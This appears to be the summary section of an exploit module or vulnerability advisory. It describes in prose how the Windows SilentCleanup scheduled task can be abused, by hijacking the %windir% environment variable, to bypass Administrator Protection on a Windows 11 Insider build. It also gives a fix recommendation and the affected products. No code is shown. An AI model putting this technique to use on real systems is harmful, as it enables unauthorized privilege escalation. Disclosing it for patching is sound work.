    [+] Summary : This module exploits a UAC bypass by abusing the Windows SilentCleanup
                  scheduled task to execute code with elevated rights without UAC prompts.
                  A privilege escalation vulnerability exists in Windows 11 Insider Preview (Build 10.0.27919.1000) 
    			  due to improper handling of user‑controlled environment variables by the Unified Background Process Manager (UBPM) 
    			  when launching elevatable scheduled tasks under Administrator Protection.
                  When a scheduled task such as **SilentCleanup** is triggered, UBPM constructs 
    			  the environment block using the **low-privileged user token**, 
    			  even though the task later runs with the **elevated shadow administrator token**. 
    			  This mismatch allows a normal user to hijack system environment variables such as **%windir%**, 
    			  causing Windows to execute an arbitrary binary as the elevated administrator.
                  As a result, a standard user can silently bypass Administrator Protection and achieve elevation of privilege.
    
    [+] Fix recommendation: UBPM should construct the environment using the elevated token, not the caller’s token.
    
    [+]  Affected Products : Windows 11 Insider Preview** (Build 10.0.27919.1000) with **Administrator Protection** enabled.
    
    - Only systems where **elevatable scheduled tasks** (like *SilentCleanup*) exist and **UBPM** is used to launch them are impacted.
    - Stable public releases of Windows 11 prior to this Insider build are **not confirmed** affected.
